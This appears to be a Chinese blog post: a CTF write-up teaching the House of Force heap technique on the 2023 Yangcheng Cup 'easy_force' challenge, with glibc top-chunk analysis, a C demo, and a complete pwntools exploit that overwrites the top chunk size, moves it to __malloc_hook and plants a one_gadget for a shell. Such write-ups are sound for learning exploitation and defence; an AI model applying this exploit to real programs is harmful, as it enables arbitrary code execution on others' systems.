堆入门之 House of Force

2023 羊城杯 线下赛 easy_force

开局给了菜单,但只允许 add 操作,不能 free 或者编辑。由题意知需要使用 House of force.

unsigned __int64 add()
{
  unsigned int index; // [rsp+4h] [rbp-1Ch] BYREF
  size_t n; // [rsp+8h] [rbp-18h] BYREF
  void *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("which index?");
  __isoc99_scanf("%d", &index);
  if ( index > 4 || *(&buf + (int)index) )      // buf 在 bss 段上
  {
    puts("already exist!");
    exit(1);
  }
  puts("how much space do u want?");
  __isoc99_scanf("%ld", &n);
  size[index] = n;
  v3 = malloc(size[index]);                     // 分配 n 大小的空间,返回指针
  *(&buf + (int)index) = v3;                    // buf 记录指定 index 所分配空间的指针
  puts("now what to write?");
  read(0, *(&buf + (int)index), 0x30uLL);       // 只能写 0x30 大小的内容
  printf("the balckbroad on %p is in use\n", *(&buf + (int)index));// 告诉你分配空间的地址(data部分)
  return __readfsqword(0x28u) ^ v4;
}

基本流程:

  1. 泄露地址
  2. 堆溢出写
  3. 任意大小申请
  4. 2.28以前

什么时候要想到用 House of Force?

答:一般是不能主动释放堆块的时候。

Topchunk 原理分析

p = av->top;
size = chunksize(p);
//这里对 size 没有检查,size 可以被覆盖成很大的数

/*check that one of the above allocation paths succeeded */
if((unsigned long)(size) >= (unsigned long)(nb + MINSIZE))
{
    //假设第一次申请的 size = target_addr - top_ptr - 0x10*2
    remainder_size = size - nb;
    remainder = chunk_at_offset(p, nb);
    //此时,topchunk 就已经被修改为 target_addr 了,再次申请很大的数就可以申请到target_addr
    av->top = remainder;
    set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head(remainder, remainder_size | PREV_INUSE);
    check_malloced_chunk(av, p, nb);
    return chunk2mem(p);
}

topchunk 大小大于用户申请大小时,则会在 topchunk 中进行切割。由于 topchunk 的 size 没有检查,我们可以把 size 改得很大(例如 -1),从而申请多少空间都没问题。而申请完以后 topchunk 的起始地址会根据切割的大小进行移动,如果提前计算好切割的大小,topchunk 就会移动到我们需要的位置(例如 __malloc_hook),从而劫持程序运行的流程。

demo:

size_t cnt = 0x12341234; // bss 段上放的一个数据
int main(){
    void *ptr = malloc(0x20); // 第一次 malloc
    size_t *ptr1 = ptr;

    // 将 topchunk 的 size 赋值为 -1
    ptr1[5] = -1;
    size_t *top_ptr = ptr1 - 0x10 + 0x30; // 计算 topchunk 的实际地址, -0x10 是因为 ptr 指向的位置不是 chunk 的开头,而是这个 chunk 中 data 段的开头;+0x30 是因为这个 chunk 的大小是 0x30,这样刚好到 topchunk 的地址

    // 计算需要 malloc 的 size 大小:
    // target = remainder + 0x10
    // target = topchunk + 0x10 + nb + 0x10
    // nb = target - topchunk - 0x20
    void *ptr2 = malloc((size_t)&cnt - (size_t)top_ptr - 0x20);
    // 再次 malloc,就可以在目标位置写东西了
    void *ptr3 = malloc(0x500);

    printf("%p\n", ptr3);
    return 0;
}

这题可以说非常基础了:

from pwn import *

io = process('./pwn')
# io = remote("node4.anna.nssctf.cn", 28402)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

gdb.attach(io)

def add(idx, size, data):
    io.sendlineafter('\n', '1')
    io.sendlineafter('index?\n', str(idx))
    io.sendlineafter('want?\n', str(size))
    io.sendafter('write?\n', data)


# leak libc
add(0, 0x1000000, b'a'*8)
# 申请 0x1000000 这么大的空间,是为了让分配的内存在堆上超出 libc 的一部分,从而得到一个接近 libc 区域的地址。在64位系统上,堆和 libc 库通常会被分配到相邻的内存区域。如果申请小块内存,分配的内存很可能还在堆的范围内,导致无法泄露 libc 地址。通过申请大块内存,可以将堆顶扩展到更接近 libc 区域的位置,从而泄露出一个与 libc 基地址有固定偏移的地址。
io.recvuntil("on ")
result = int(io.recvuntil(" ")[0:14], 16)
print(hex(result))
libc.address = result + 0x1000ff0
print(hex(libc.address))

# leak heap
# 申请 0x10 大小的 chunk1,由于存在溢出漏洞,前两个 0 用来填补 chunk1 的 data 域,后一个 0 覆盖 topchunk 的 prev_size 域,-1 覆盖 topchunk 的 size 域,使 topchunk 的大小变为“无穷大”,从而实现任意地址申请 + 修改
add(1, 0x10, flat(
    0, 0, 0,
    -1
))
io.recvuntil('on ')
# 程序返回的是 chunk1 data 域的地址,加上 size 0x10 就是 topchunk 的地址
topchunk = int(io.recvline()[0:9], 16) + 0x10
print(hex(topchunk))

# malloc_hook attack
one_gadget = libc.address + 0xf1247
malloc_hook = libc.sym['__malloc_hook']

nb = malloc_hook - topchunk - 0x20
add(2, str(nb), b'a'*8)
# 申请到 malloc_hook 前 0x10 的地方,这样再申请一个堆块刚好就能修改到 malloc_hook
add(3, 0x10, p64(one_gadget))
# 再发送 malloc 申请,但是 malloc 已经不能正常执行,因为我们已经劫持了 malloc_hook
io.sendlineafter('\n', b'1')
io.sendlineafter('index?\n', str(4))
io.sendlineafter('want?\n', str(0x10))

io.interactive()

End.

上一篇
下一篇